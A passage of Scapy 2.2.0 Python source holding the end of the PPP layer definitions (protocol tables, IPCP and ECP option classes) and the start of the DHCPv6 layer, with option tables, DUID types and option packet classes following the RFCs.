"DCA Remote Lan Network Control Protocol (RLNCP)", 0x8049: "Serial Data Control Protocol (PPP-SDCP)", 0x804b: "SNA over 802.2 Control Protocol", 0x804d: "SNA Control Protocol", 0x804f: "IP6 Header Compression Control Protocol", 0x8051: "KNX Bridging Control Protocol [ianp]", 0x8053: "Encryption Control Protocol [Meyer]", 0x8055: "Individual Link Encryption Control Protocol [Meyer]", 0x8057: "IPv6 Control Protovol [Hinden]", 0x8059: "PPP Muxing Control Protocol [RFC3153]", 0x805b: "Vendor-Specific Network Control Protocol (VSNCP) [RFC3772]", 0x806f: "Stampede Bridging Control Protocol", 0x8073: "MP+ Control Protocol [Smith]", 0x8071: "Reserved [Fox]", 0x807d: "Not Used - reserved [RFC1661]", 0x8081: "Reserved Until 20-Oct-2000 [IANA]", 0x8083: "Reserved Until 20-Oct-2000 [IANA]", 0x80c1: "NTCITS IPI Control Protocol [Ungar]", 0x80cf: "Not Used - reserved [RFC1661]", 0x80fb: "single link compression in multilink control [RFC1962]", 0x80fd: "Compression Control Protocol [RFC1962]", 0x80ff: "Not Used - reserved [RFC1661]", 0x8207: "Cisco Discovery Protocol Control [Sastry]", 0x8209: "Netcs Twin Routing [Korfmacher]", 0x820b: "STP - Control Protocol [Segal]", 0x820d: "EDPCP - Extreme Discovery Protocol Ctrl Prtcl [Grosser]", 0x8235: "Apple Client Server Protocol Control [Ridenour]", 0x8281: "MPLSCP [RFC3032]", 0x8285: "IEEE p1284.4 standard - Protocol Control [Batchelder]", 0x8287: "ETSI TETRA TNP1 Control Protocol [Nieminen]", 0x8289: "Multichannel Flow Treatment Protocol [McCann]", 0xc021: "Link Control Protocol", 0xc023: "Password Authentication Protocol", 0xc025: "Link Quality Report", 0xc027: "Shiva Password Authentication Protocol", 0xc029: "CallBack Control Protocol (CBCP)", 0xc02b: "BACP Bandwidth Allocation Control Protocol [RFC2125]", 0xc02d: "BAP [RFC2125]", 0xc05b: "Vendor-Specific Authentication Protocol (VSAP) [RFC3772]", 0xc081: "Container Control Protocol [KEN]", 0xc223: "Challenge Handshake Authentication Protocol", 0xc225: "RSA Authentication Protocol [Narayana]", 0xc227: "Extensible Authentication Protocol [RFC2284]", 0xc229: "Mitsubishi Security Info Exch Ptcl (SIEP) [Seno]", 0xc26f: "Stampede Bridging Authorization Protocol", 0xc281: "Proprietary Authentication Protocol [KEN]", 0xc283: "Proprietary Authentication Protocol [Tackabury]", 0xc481: "Proprietary Node ID Authentication Protocol [KEN]"} class HDLC(Packet): fields_desc = [ XByteField("address",0xff), XByteField("control",0x03) ] class PPP(Packet): name = "PPP Link Layer" fields_desc = [ ShortEnumField("proto", 0x0021, _PPP_proto) ] @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and _pkt[0] == '\xff': cls = HDLC return cls _PPP_conftypes = { 1:"Configure-Request", 2:"Configure-Ack", 3:"Configure-Nak", 4:"Configure-Reject", 5:"Terminate-Request", 6:"Terminate-Ack", 7:"Code-Reject", 8:"Protocol-Reject", 9:"Echo-Request", 10:"Echo-Reply", 11:"Discard-Request", 14:"Reset-Request", 15:"Reset-Ack", } ### PPP IPCP stuff (RFC 1332) # All IPCP options are defined below (names and associated classes) _PPP_ipcpopttypes = { 1:"IP-Addresses (Deprecated)", 2:"IP-Compression-Protocol", 3:"IP-Address", 4:"Mobile-IPv4", # not implemented, present for completeness 129:"Primary-DNS-Address", 130:"Primary-NBNS-Address", 131:"Secondary-DNS-Address", 132:"Secondary-NBNS-Address"} class PPP_IPCP_Option(Packet): name = "PPP IPCP Option" fields_desc = [ ByteEnumField("type" , None , _PPP_ipcpopttypes), FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda p,x:x+2), StrLenField("data", "", length_from=lambda p:max(0,p.len-2)) ] def extract_padding(self, pay): return "",pay registered_options = {} @classmethod def register_variant(cls): cls.registered_options[cls.type.default] = cls @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt: o = ord(_pkt[0]) return cls.registered_options.get(o, cls) return cls class PPP_IPCP_Option_IPAddress(PPP_IPCP_Option): name = "PPP IPCP Option: IP Address" fields_desc = [ ByteEnumField("type" , 3 , _PPP_ipcpopttypes), FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda p,x:x+2), IPField("data","0.0.0.0"), ConditionalField(StrLenField("garbage","", length_from=lambda pkt:pkt.len-6), lambda p:p.len!=6) ] class PPP_IPCP_Option_DNS1(PPP_IPCP_Option): name = "PPP IPCP Option: DNS1 Address" fields_desc = [ ByteEnumField("type" , 129 , _PPP_ipcpopttypes), FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda p,x:x+2), IPField("data","0.0.0.0"), ConditionalField(StrLenField("garbage","", length_from=lambda pkt:pkt.len-6), lambda p:p.len!=6) ] class PPP_IPCP_Option_DNS2(PPP_IPCP_Option): name = "PPP IPCP Option: DNS2 Address" fields_desc = [ ByteEnumField("type" , 131 , _PPP_ipcpopttypes), FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda p,x:x+2), IPField("data","0.0.0.0"), ConditionalField(StrLenField("garbage","", length_from=lambda pkt:pkt.len-6), lambda p:p.len!=6) ] class PPP_IPCP_Option_NBNS1(PPP_IPCP_Option): name = "PPP IPCP Option: NBNS1 Address" fields_desc = [ ByteEnumField("type" , 130 , _PPP_ipcpopttypes), FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda p,x:x+2), IPField("data","0.0.0.0"), ConditionalField(StrLenField("garbage","", length_from=lambda pkt:pkt.len-6), lambda p:p.len!=6) ] class PPP_IPCP_Option_NBNS2(PPP_IPCP_Option): name = "PPP IPCP Option: NBNS2 Address" fields_desc = [ ByteEnumField("type" , 132 , _PPP_ipcpopttypes), FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda p,x:x+2), IPField("data","0.0.0.0"), ConditionalField(StrLenField("garbage","", length_from=lambda pkt:pkt.len-6), lambda p:p.len!=6) ] class PPP_IPCP(Packet): fields_desc = [ ByteEnumField("code" , 1, _PPP_conftypes), XByteField("id", 0 ), FieldLenField("len" , None, fmt="H", length_of="options", adjust=lambda p,x:x+4 ), PacketListField("options", [], PPP_IPCP_Option, length_from=lambda p:p.len-4,) ] ### ECP _PPP_ecpopttypes = { 0:"OUI", 1:"DESE", } class PPP_ECP_Option(Packet): name = "PPP ECP Option" fields_desc = [ ByteEnumField("type" , None , _PPP_ecpopttypes), FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda p,x:x+2), StrLenField("data", "", length_from=lambda p:max(0,p.len-2)) ] def extract_padding(self, pay): return "",pay registered_options = {} @classmethod def register_variant(cls): cls.registered_options[cls.type.default] = cls @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt: o = ord(_pkt[0]) return cls.registered_options.get(o, cls) return cls class PPP_ECP_Option_OUI(PPP_ECP_Option): fields_desc = [ ByteEnumField("type" , 0 , _PPP_ecpopttypes), FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda p,x:x+6), StrFixedLenField("oui","",3), ByteField("subtype",0), StrLenField("data", "", length_from=lambda p:p.len-6) ] class PPP_ECP(Packet): fields_desc = [ ByteEnumField("code" , 1, _PPP_conftypes), XByteField("id", 0 ), FieldLenField("len" , None, fmt="H", length_of="options", adjust=lambda p,x:x+4 ), PacketListField("options", [], PPP_ECP_Option, length_from=lambda p:p.len-4,) ] bind_layers( Ether, PPPoED, type=0x8863) bind_layers( Ether, PPPoE, type=0x8864) bind_layers( CookedLinux, PPPoED, proto=0x8863) bind_layers( CookedLinux, PPPoE, proto=0x8864) bind_layers( PPPoE, PPP, code=0) bind_layers( HDLC, PPP, ) bind_layers( PPP, IP, proto=33) bind_layers( PPP, PPP_IPCP, proto=0x8021) bind_layers( PPP, PPP_ECP, proto=0x8053) bind_layers( Ether, PPP_IPCP, type=0x8021) bind_layers( Ether, PPP_ECP, type=0x8053) scapy-2.2.0/scapy/layers/dhcp6.py0000644000175000017500000021201311430356073014735 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license ## Copyright (C) 2005 Guillaume Valadon ## Arnaud Ebalard """ DHCPv6: Dynamic Host Configuration Protocol for IPv6. [RFC 3315] """ import socket from scapy.packet import * from scapy.fields import * from scapy.utils6 import * from scapy.layers.inet6 import * from scapy.ansmachine import AnsweringMachine ############################################################################# # Helpers ## ############################################################################# def get_cls(name, fallback_cls): return globals().get(name, fallback_cls) ############################################################################# ############################################################################# ### DHCPv6 ### ############################################################################# ############################################################################# All_DHCP_Relay_Agents_and_Servers = "ff02::1:2" All_DHCP_Servers = "ff05::1:3" # Site-Local scope : deprecated by 3879 dhcp6opts = { 1: "CLIENTID", 2: "SERVERID", 3: "IA_NA", 4: "IA_TA", 5: "IAADDR", 6: "ORO", 7: "PREFERENCE", 8: "ELAPSED_TIME", 9: "RELAY_MSG", 11: "AUTH", 12: "UNICAST", 13: "STATUS_CODE", 14: "RAPID_COMMIT", 15: "USER_CLASS", 16: "VENDOR_CLASS", 17: "VENDOR_OPTS", 18: "INTERFACE_ID", 19: "RECONF_MSG", 20: "RECONF_ACCEPT", 21: "SIP Servers Domain Name List", #RFC3319 22: "SIP Servers IPv6 Address List", #RFC3319 23: "DNS Recursive Name Server Option", #RFC3646 24: "Domain Search List option", #RFC3646 25: "OPTION_IA_PD", #RFC3633 26: "OPTION_IAPREFIX", #RFC3633 27: "OPTION_NIS_SERVERS", #RFC3898 28: "OPTION_NISP_SERVERS", #RFC3898 29: "OPTION_NIS_DOMAIN_NAME", #RFC3898 30: "OPTION_NISP_DOMAIN_NAME", #RFC3898 31: "OPTION_SNTP_SERVERS", #RFC4075 32: "OPTION_INFORMATION_REFRESH_TIME", #RFC4242 33: "OPTION_BCMCS_SERVER_D", #RFC4280 34: "OPTION_BCMCS_SERVER_A", #RFC4280 36: "OPTION_GEOCONF_CIVIC", #RFC-ietf-geopriv-dhcp-civil-09.txt 37: "OPTION_REMOTE_ID", #RFC4649 38: "OPTION_SUBSCRIBER_ID", #RFC4580 39: "OPTION_CLIENT_FQDN" } #RFC4704 dhcp6opts_by_code = { 1: "DHCP6OptClientId", 2: "DHCP6OptServerId", 3: "DHCP6OptIA_NA", 4: "DHCP6OptIA_TA", 5: "DHCP6OptIAAddress", 6: "DHCP6OptOptReq", 7: "DHCP6OptPref", 8: "DHCP6OptElapsedTime", 9: "DHCP6OptRelayMsg", 11: "DHCP6OptAuth", 12: "DHCP6OptServerUnicast", 13: "DHCP6OptStatusCode", 14: "DHCP6OptRapidCommit", 15: "DHCP6OptUserClass", 16: "DHCP6OptVendorClass", 17: "DHCP6OptVendorSpecificInfo", 18: "DHCP6OptIfaceId", 19: "DHCP6OptReconfMsg", 20: "DHCP6OptReconfAccept", 21: "DHCP6OptSIPDomains", #RFC3319 22: "DHCP6OptSIPServers", #RFC3319 23: "DHCP6OptDNSServers", #RFC3646 24: "DHCP6OptDNSDomains", #RFC3646 25: "DHCP6OptIA_PD", #RFC3633 26: "DHCP6OptIAPrefix", #RFC3633 27: "DHCP6OptNISServers", #RFC3898 28: "DHCP6OptNISPServers", #RFC3898 29: "DHCP6OptNISDomain", #RFC3898 30: "DHCP6OptNISPDomain", #RFC3898 31: "DHCP6OptSNTPServers", #RFC4075 32: "DHCP6OptInfoRefreshTime", #RFC4242 33: "DHCP6OptBCMCSDomains", #RFC4280 34: "DHCP6OptBCMCSServers", #RFC4280 #36: "DHCP6OptGeoConf", #RFC-ietf-geopriv-dhcp-civil-09.txt 37: "DHCP6OptRemoteID", #RFC4649 38: "DHCP6OptSubscriberID", #RFC4580 39: "DHCP6OptClientFQDN", #RFC4704 #40: "DHCP6OptPANAAgent", #RFC-ietf-dhc-paa-option-05.txt #41: "DHCP6OptNewPOSIXTimeZone, #RFC4833 #42: "DHCP6OptNewTZDBTimeZone, #RFC4833 43: "DHCP6OptRelayAgentERO" #RFC4994 #44: "DHCP6OptLQQuery", #RFC5007 #45: "DHCP6OptLQClientData", #RFC5007 #46: "DHCP6OptLQClientTime", #RFC5007 #47: "DHCP6OptLQRelayData", #RFC5007 #48: "DHCP6OptLQClientLink", #RFC5007 } # sect 5.3 RFC 3315 : DHCP6 Messages types dhcp6types = { 1:"SOLICIT", 2:"ADVERTISE", 3:"REQUEST", 4:"CONFIRM", 5:"RENEW", 6:"REBIND", 7:"REPLY", 8:"RELEASE", 9:"DECLINE", 10:"RECONFIGURE", 11:"INFORMATION-REQUEST", 12:"RELAY-FORW", 13:"RELAY-REPL" } ##################################################################### ### DHCPv6 DUID related stuff ### ##################################################################### duidtypes = { 1: "Link-layer address plus time", 2: "Vendor-assigned unique ID based on Enterprise Number", 3: "Link-layer Address" } # DUID hardware types - RFC 826 - Extracted from # http://www.iana.org/assignments/arp-parameters on 31/10/06 # We should add the length of every kind of address. duidhwtypes = { 0: "NET/ROM pseudo", # Not referenced by IANA 1: "Ethernet (10Mb)", 2: "Experimental Ethernet (3Mb)", 3: "Amateur Radio AX.25", 4: "Proteon ProNET Token Ring", 5: "Chaos", 6: "IEEE 802 Networks", 7: "ARCNET", 8: "Hyperchannel", 9: "Lanstar", 10: "Autonet Short Address", 11: "LocalTalk", 12: "LocalNet (IBM PCNet or SYTEK LocalNET)", 13: "Ultra link", 14: "SMDS", 15: "Frame Relay", 16: "Asynchronous Transmission Mode (ATM)", 17: "HDLC", 18: "Fibre Channel", 19: "Asynchronous Transmission Mode (ATM)", 20: "Serial Line", 21: "Asynchronous Transmission Mode (ATM)", 22: "MIL-STD-188-220", 23: "Metricom", 24: "IEEE 1394.1995", 25: "MAPOS", 26: "Twinaxial", 27: "EUI-64", 28: "HIPARP", 29: "IP and ARP over ISO 7816-3", 30: "ARPSec", 31: "IPsec tunnel", 32: "InfiniBand (TM)", 33: "TIA-102 Project 25 Common Air Interface (CAI)" } class UTCTimeField(IntField): epoch = (2000, 1, 1, 0, 0, 0, 5, 1, 0) # required Epoch def i2repr(self, pkt, x): x = self.i2h(pkt, x) from time import gmtime, strftime, mktime delta = mktime(self.epoch) - mktime(gmtime(0)) x = x + delta t = strftime("%a, %d %b %Y %H:%M:%S +0000", gmtime(x)) return "%s (%d)" % (t, x) class _LLAddrField(MACField): pass # XXX We only support Ethernet addresses at the moment. _LLAddrField # will be modified when needed. Ask us. --arno class DUID_LLT(Packet): # sect 9.2 RFC 3315 name = "DUID - Link-layer address plus time" fields_desc = [ ShortEnumField("type", 1, duidtypes), XShortEnumField("hwtype", 1, duidhwtypes), UTCTimeField("timeval", 0), # i.e. 01 Jan 2000 _LLAddrField("lladdr", ETHER_ANY) ] # In fact, IANA enterprise-numbers file available at # http//www.iana.org/asignments/enterprise-numbers) # is simply huge (more than 2Mo and 600Ko in bz2). I'll # add only most common vendors, and encountered values. # -- arno iana_enterprise_num = { 9: "ciscoSystems", 35: "Nortel Networks", 43: "3Com", 311: "Microsoft", 2636: "Juniper Networks, Inc.", 4526: "Netgear", 5771: "Cisco Systems, Inc.", 5842: "Cisco Systems", 16885: "Nortel Networks" } class DUID_EN(Packet): # sect 9.3 RFC 3315 name = "DUID - Assigned by Vendor Based on Enterprise Number" fields_desc = [ ShortEnumField("type", 2, duidtypes), IntEnumField("enterprisenum", 311, iana_enterprise_num), StrField("id","") ] class DUID_LL(Packet): # sect 9.4 RFC 3315 name = "DUID - Based on Link-layer Address" fields_desc = [ ShortEnumField("type", 3, duidtypes), XShortEnumField("hwtype", 1, duidhwtypes), _LLAddrField("lladdr", ETHER_ANY) ] duid_cls = { 1: "DUID_LLT", 2: "DUID_EN", 3: "DUID_LL"} ##################################################################### ### DHCPv6 Options classes ### ##################################################################### class _DHCP6OptGuessPayload(Packet): def guess_payload_class(self, payload): cls = Raw if len(payload) > 2 : opt = struct.unpack("!H", payload[:2])[0] cls = get_cls(dhcp6opts_by_code.get(opt, "DHCP6OptUnknown"), DHCP6OptUnknown) return cls class DHCP6OptUnknown(_DHCP6OptGuessPayload): # A generic DHCPv6 Option name = "Unknown DHCPv6 OPtion" fields_desc = [ ShortEnumField("optcode", 0, dhcp6opts), FieldLenField("optlen", None, length_of="data", fmt="!H"), StrLenField("data", "", length_from = lambda pkt: pkt.optlen)] class _DUIDField(PacketField): holds_packets=1 def __init__(self, name, default, length_from=None): StrField.__init__(self, name, default) self.length_from = length_from def i2m(self, pkt, i): return str(i) def m2i(self, pkt, x): cls = Raw if len(x) > 4: o = struct.unpack("!H", x[:2])[0] cls = get_cls(duid_cls.get(o, Raw), "Raw") return cls(x) def getfield(self, pkt, s): l = self.length_from(pkt) return s[l:], self.m2i(pkt,s[:l]) class DHCP6OptClientId(_DHCP6OptGuessPayload): # RFC sect 22.2 name = "DHCP6 Client Identifier Option" fields_desc = [ ShortEnumField("optcode", 1, dhcp6opts), FieldLenField("optlen", None, length_of="duid", fmt="!H"), _DUIDField("duid", "", length_from = lambda pkt: pkt.optlen) ] class DHCP6OptServerId(DHCP6OptClientId): # RFC sect 22.3 name = "DHCP6 Server Identifier Option" optcode = 2 # Should be encapsulated in the option field of IA_NA or IA_TA options # Can only appear at that location. # TODO : last field IAaddr-options is not defined in the reference document class DHCP6OptIAAddress(_DHCP6OptGuessPayload): # RFC sect 22.6 name = "DHCP6 IA Address Option (IA_TA or IA_NA suboption)" fields_desc = [ ShortEnumField("optcode", 5, dhcp6opts), FieldLenField("optlen", None, length_of="iaaddropts", fmt="!H", adjust = lambda pkt,x: x+24), IP6Field("addr", "::"), IntField("preflft", 0), IntField("validlft", 0), XIntField("iaid", None), StrLenField("iaaddropts", "", length_from = lambda pkt: pkt.optlen - 24) ] def guess_payload_class(self, payload): return Padding class _IANAOptField(PacketListField): def i2len(self, pkt, z): if z is None or z == []: return 0 return sum(map(lambda x: len(str(x)) ,z)) def getfield(self, pkt, s): l = self.length_from(pkt) lst = [] remain, payl = s[:l], s[l:] while len(remain)>0: p = self.m2i(pkt,remain) if Padding in p: pad = p[Padding] remain = pad.load del(pad.underlayer.payload) else: remain = "" lst.append(p) return payl,lst class DHCP6OptIA_NA(_DHCP6OptGuessPayload): # RFC sect 22.4 name = "DHCP6 Identity Association for Non-temporary Addresses Option" fields_desc = [ ShortEnumField("optcode", 3, dhcp6opts), FieldLenField("optlen", None, length_of="ianaopts", fmt="!H", adjust = lambda pkt,x: x+12), XIntField("iaid", None), IntField("T1", None), IntField("T2", None), _IANAOptField("ianaopts", [], DHCP6OptIAAddress, length_from = lambda pkt: pkt.optlen-12) ] class _IATAOptField(_IANAOptField): pass class DHCP6OptIA_TA(_DHCP6OptGuessPayload): # RFC sect 22.5 name = "DHCP6 Identity Association for Temporary Addresses Option" fields_desc = [ ShortEnumField("optcode", 4, dhcp6opts), FieldLenField("optlen", None, length_of="iataopts", fmt="!H", adjust = lambda pkt,x: x+4), XIntField("iaid", None), _IATAOptField("iataopts", [], DHCP6OptIAAddress, length_from = lambda pkt: pkt.optlen-4) ] #### DHCPv6 Option Request Option ################################### class _OptReqListField(StrLenField): islist = 1 def i2h(self, pkt, x): if x is None: return [] return x def i2len(self, pkt, x): return 2*len(x) def any2i(self, pkt, x): return x def i2repr(self, pkt, x): s = [] for y in self.i2h(pkt, x): if dhcp6opts.has_key(y): s.append(dhcp6opts[y]) else: s.append("%d" % y) return "[%s]" % ", ".join(s) def m2i(self, pkt, x): r = [] while len(x) != 0: if len(x)<2: warning("Odd length for requested option field. Rejecting last byte") return r r.append(struct.unpack("!H", x[:2])[0]) x = x[2:] return r def i2m(self, pkt, x): return "".join(map(lambda y: struct.pack("!H", y), x)) # A client may include an ORO in a solicit, Request, Renew, Rebind, # Confirm or Information-request class DHCP6OptOptReq(_DHCP6OptGuessPayload): # RFC sect 22.7 name = "DHCP6 Option Request Option" fields_desc = [ ShortEnumField("optcode", 6, dhcp6opts), FieldLenField("optlen", None, length_of="reqopts", fmt="!H"), _OptReqListField("reqopts", [23, 24], length_from = lambda pkt: pkt.optlen) ] #### DHCPv6 Preference Option ####################################### # emise par un serveur pour affecter le choix fait par le client. Dans # les messages Advertise, a priori class DHCP6OptPref(_DHCP6OptGuessPayload): # RFC sect 22.8 name = "DHCP6 Preference Option" fields_desc = [ ShortEnumField("optcode", 7, dhcp6opts), ShortField("optlen", 1 ), ByteField("prefval",255) ] #### DHCPv6 Elapsed Time Option ##################################### class _ElapsedTimeField(ShortField): def i2repr(self, pkt, x): if x == 0xffff: return "infinity (0xffff)" return "%.2f sec" % (self.i2h(pkt, x)/100.) class DHCP6OptElapsedTime(_DHCP6OptGuessPayload):# RFC sect 22.9 name = "DHCP6 Elapsed Time Option" fields_desc = [ ShortEnumField("optcode", 8, dhcp6opts), ShortField("optlen", 2), _ElapsedTimeField("elapsedtime", 0) ] #### DHCPv6 Relay Message Option #################################### # Relayed message is seen as a payload. class DHCP6OptRelayMsg(_DHCP6OptGuessPayload):# RFC sect 22.10 name = "DHCP6 Relay Message Option" fields_desc = [ ShortEnumField("optcode", 9, dhcp6opts), ShortField("optlen", None ) ] def post_build(self, p, pay): if self.optlen is None: l = len(pay) p = p[:2]+struct.pack("!H", l) return p + pay #### DHCPv6 Authentication Option ################################### # The following fields are set in an Authentication option for the # Reconfigure Key Authentication Protocol: # # protocol 3 # # algorithm 1 # # RDM 0 # # The format of the Authentication information for the Reconfigure Key # Authentication Protocol is: # # 0 1 2 3 # 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | Type | Value (128 bits) | # +-+-+-+-+-+-+-+-+ | # . . # . . # . +-+-+-+-+-+-+-+-+ # | | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # # Type Type of data in Value field carried in this option: # # 1 Reconfigure Key value (used in Reply message). # # 2 HMAC-MD5 digest of the message (used in Reconfigure # message). # # Value Data as defined by field. # TODO : Decoding only at the moment class DHCP6OptAuth(_DHCP6OptGuessPayload): # RFC sect 22.11 name = "DHCP6 Option - Authentication" fields_desc = [ ShortEnumField("optcode", 11, dhcp6opts), FieldLenField("optlen", None, length_of="authinfo", adjust = lambda pkt,x: x+11), ByteField("proto", 3), # TODO : XXX ByteField("alg", 1), # TODO : XXX ByteField("rdm", 0), # TODO : XXX StrFixedLenField("replay", "A"*8, 8), # TODO: XXX StrLenField("authinfo", "", length_from = lambda pkt: pkt.optlen - 11) ] #### DHCPv6 Server Unicast Option ################################### class _SrvAddrField(IP6Field): def i2h(self, pkt, x): if x is None: return "::" return x def i2m(self, pkt, x): return inet_pton(socket.AF_INET6, self.i2h(pkt,x)) class DHCP6OptServerUnicast(_DHCP6OptGuessPayload):# RFC sect 22.12 name = "DHCP6 Server Unicast Option" fields_desc = [ ShortEnumField("optcode", 12, dhcp6opts), ShortField("optlen", 16 ), _SrvAddrField("srvaddr",None) ] #### DHCPv6 Status Code Option ###################################### dhcp6statuscodes = { 0:"Success", # sect 24.4 1:"UnspecFail", 2:"NoAddrsAvail", 3:"NoBinding", 4:"NotOnLink", 5:"UseMulticast", 6:"NoPrefixAvail"} # From RFC3633 class DHCP6OptStatusCode(_DHCP6OptGuessPayload):# RFC sect 22.13 name = "DHCP6 Status Code Option" fields_desc = [ ShortEnumField("optcode", 13, dhcp6opts), FieldLenField("optlen", None, length_of="statusmsg", fmt="!H", adjust = lambda pkt,x:x+2), ShortEnumField("statuscode",None,dhcp6statuscodes), StrLenField("statusmsg", "", length_from = lambda pkt: pkt.optlen-2) ] #### DHCPv6 Rapid Commit Option ##################################### class DHCP6OptRapidCommit(_DHCP6OptGuessPayload): # RFC sect 22.14 name = "DHCP6 Rapid Commit Option" fields_desc = [ ShortEnumField("optcode", 14, dhcp6opts), ShortField("optlen", 0)] #### DHCPv6 User Class Option ####################################### class _UserClassDataField(PacketListField): def i2len(self, pkt, z): if z is None or z == []: return 0 return sum(map(lambda x: len(str(x)) ,z)) def getfield(self, pkt, s): l = self.length_from(pkt) lst = [] remain, payl = s[:l], s[l:] while len(remain)>0: p = self.m2i(pkt,remain) if Padding in p: pad = p[Padding] remain = pad.load del(pad.underlayer.payload) else: remain = "" lst.append(p) return payl,lst class USER_CLASS_DATA(Packet): name = "user class data" fields_desc = [ FieldLenField("len", None, length_of="data"), StrLenField("data", "", length_from = lambda pkt: pkt.len) ] def guess_payload_class(self, payload): return Padding class DHCP6OptUserClass(_DHCP6OptGuessPayload):# RFC sect 22.15 name = "DHCP6 User Class Option" fields_desc = [ ShortEnumField("optcode", 15, dhcp6opts), FieldLenField("optlen", None, fmt="!H", length_of="userclassdata"), _UserClassDataField("userclassdata", [], USER_CLASS_DATA, length_from = lambda pkt: pkt.optlen) ] #### DHCPv6 Vendor Class Option ##################################### class _VendorClassDataField(_UserClassDataField): pass class VENDOR_CLASS_DATA(USER_CLASS_DATA): name = "vendor class data" class DHCP6OptVendorClass(_DHCP6OptGuessPayload):# RFC sect 22.16 name = "DHCP6 Vendor Class Option" fields_desc = [ ShortEnumField("optcode", 16, dhcp6opts), FieldLenField("optlen", None, length_of="vcdata", fmt="!H", adjust = lambda pkt,x: x+4), IntEnumField("enterprisenum",None , iana_enterprise_num ), _VendorClassDataField("vcdata", [], VENDOR_CLASS_DATA, length_from = lambda pkt: pkt.optlen-4) ] #### DHCPv6 Vendor-Specific Information Option ###################### class VENDOR_SPECIFIC_OPTION(_DHCP6OptGuessPayload): name = "vendor specific option data" fields_desc = [ ShortField("optcode", None), FieldLenField("optlen", None, length_of="optdata"), StrLenField("optdata", "", length_from = lambda pkt: pkt.optlen) ] def guess_payload_class(self, payload): return Padding # The third one that will be used for nothing interesting class DHCP6OptVendorSpecificInfo(_DHCP6OptGuessPayload):# RFC sect 22.17 name = "DHCP6 Vendor-specific Information Option" fields_desc = [ ShortEnumField("optcode", 17, dhcp6opts), FieldLenField("optlen", None, length_of="vso", fmt="!H", adjust = lambda pkt,x: x+4), IntEnumField("enterprisenum",None , iana_enterprise_num), _VendorClassDataField("vso", [], VENDOR_SPECIFIC_OPTION, length_from = lambda pkt: pkt.optlen-4) ] #### DHCPv6 Interface-ID Option ##################################### # Repasser sur cette option a la fin. Elle a pas l'air d'etre des # masses critique. class DHCP6OptIfaceId(_DHCP6OptGuessPayload):# RFC sect 22.18 name = "DHCP6 Interface-Id Option" fields_desc = [ ShortEnumField("optcode", 18, dhcp6opts), FieldLenField("optlen", None, fmt="!H", length_of="ifaceid"), StrLenField("ifaceid", "", length_from = lambda pkt: pkt.optlen) ] #### DHCPv6 Reconfigure Message Option ############################## # A server includes a Reconfigure Message option in a Reconfigure # message to indicate to the client whether the client responds with a # renew message or an Informatiion-request message. class DHCP6OptReconfMsg(_DHCP6OptGuessPayload): # RFC sect 22.19 name = "DHCP6 Reconfigure Message Option" fields_desc = [ ShortEnumField("optcode", 19, dhcp6opts), ShortField("optlen", 1 ), ByteEnumField("msgtype", 11, { 5:"Renew Message", 11:"Information Request"}) ] #### DHCPv6 Reconfigure Accept Option ############################### # A client uses the Reconfigure Accept option to announce to the # server whether the client is willing to accept Recoonfigure # messages, and a server uses this option to tell the client whether # or not to accept Reconfigure messages. The default behavior in the # absence of this option, means unwillingness to accept reconfigure # messages, or instruction not to accept Reconfigure messages, for the # client and server messages, respectively. class DHCP6OptReconfAccept(_DHCP6OptGuessPayload): # RFC sect 22.20 name = "DHCP6 Reconfigure Accept Option" fields_desc = [ ShortEnumField("optcode", 20, dhcp6opts), ShortField("optlen", 0)] # As required in Sect 8. of RFC 3315, Domain Names must be encoded as # described in section 3.1 of RFC 1035 # XXX Label should be at most 63 octets in length : we do not enforce it # Total length of domain should be 255 : we do not enforce it either class DomainNameListField(StrLenField): islist = 1 def i2len(self, pkt, x): return len(self.i2m(pkt, x)) def m2i(self, pkt, x): res = [] while x: cur = [] while x and x[0] != '\x00': l = ord(x[0]) cur.append(x[1:l+1]) x = x[l+1:] res.append(".".join(cur)) if x and x[0] == '\x00': x = x[1:] return res def i2m(self, pkt, x): def conditionalTrailingDot(z): if z and z[-1] == '\x00': return z return z+'\x00' res = "" tmp = map(lambda y: map((lambda z: chr(len(z))+z), y.split('.')), x) return "".join(map(lambda x: conditionalTrailingDot("".join(x)), tmp)) class DHCP6OptSIPDomains(_DHCP6OptGuessPayload): #RFC3319 name = "DHCP6 Option - SIP Servers Domain Name List" fields_desc = [ ShortEnumField("optcode", 21, dhcp6opts), FieldLenField("optlen", None, length_of="sipdomains"), DomainNameListField("sipdomains", [], length_from = lambda pkt: pkt.optlen) ] class DHCP6OptSIPServers(_DHCP6OptGuessPayload): #RFC3319 name = "DHCP6 Option - SIP Servers IPv6 Address List" fields_desc = [ ShortEnumField("optcode", 22, dhcp6opts), FieldLenField("optlen", None, length_of="sipservers"), IP6ListField("sipservers", [], length_from = lambda pkt: pkt.optlen) ] class DHCP6OptDNSServers(_DHCP6OptGuessPayload): #RFC3646 name = "DHCP6 Option - DNS Recursive Name Server" fields_desc = [ ShortEnumField("optcode", 23, dhcp6opts), FieldLenField("optlen", None, length_of="dnsservers"), IP6ListField("dnsservers", [], length_from = lambda pkt: pkt.optlen) ] class DHCP6OptDNSDomains(_DHCP6OptGuessPayload): #RFC3646 name = "DHCP6 Option - Domain Search List option" fields_desc = [ ShortEnumField("optcode", 24, dhcp6opts), FieldLenField("optlen", None, length_of="dnsdomains"), DomainNameListField("dnsdomains", [], length_from = lambda pkt: pkt.optlen) ] # TODO: Implement iaprefopts correctly when provided with more # information about it. class DHCP6OptIAPrefix(_DHCP6OptGuessPayload): #RFC3633 name = "DHCP6 Option - IA_PD Prefix option" fields_desc = [ ShortEnumField("optcode", 